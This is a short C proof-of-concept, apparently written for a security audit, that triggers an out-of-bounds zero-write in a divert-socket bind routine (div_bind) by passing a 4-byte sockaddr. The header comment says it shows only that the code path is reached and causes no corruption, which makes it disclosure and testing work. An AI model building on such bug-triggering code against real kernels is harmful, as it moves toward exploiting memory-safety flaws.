/*
 * div3441.c - DF-3441: div_bind() writes sin_addr.s_addr = INADDR_ANY at
 * offset 4..8 of the caller-supplied sockaddr BEFORE validating its
 * length.  With a 4-byte bind sockaddr (getsockaddr minimum:
 * {sa_len=4, AF_INET}), the 4-byte zero write lands past the requested
 * size (inside the 8-byte slab chunk slack, so no adjacent-object
 * corruption on this allocator).
 *
 * Observable: bind() with a 4-byte AF_INET sockaddr does NOT fail with
 * EAFNOSUPPORT at div_bind's family gate (proving the write-line's
 * branch executed); it fails later with EINVAL from in_pcbbind's
 * sa_len check.  The write itself has no user-visible effect, and a
 * fixed div_bind (early sa_len validation) returns the same EINVAL, so
 * this PoC demonstrates code-path reachability only.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef IPPROTO_DIVERT
#define IPPROTO_DIVERT 258
#endif

int
main(void)
{
	int fd, rc;
	unsigned char tiny[4];

	if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT)) < 0) {
		fprintf(stderr, "divert socket: %s (need root)\n",
		    strerror(errno));
		return 1;
	}

	memset(tiny, 0, sizeof(tiny));
	tiny[0] = 4;		/* sa_len = 4 */
	tiny[1] = AF_INET;	/* sa_family */

	rc = bind(fd, (struct sockaddr *)tiny, sizeof(tiny));
	printf("bind(4B AF_INET sockaddr) = %d errno=%d (%s)\n",
	    rc, errno, strerror(errno));
	printf("  EAFNOSUPPORT would mean the family gate rejected before"
	    " the write line;\n"
	    "  EINVAL means div_bind's else-branch (the OOB zero-write of"
	    " sin_addr at offset 4..8)\n"
	    "  EXECUTED and in_pcbbind later rejected the length.\n");
	return 0;
}
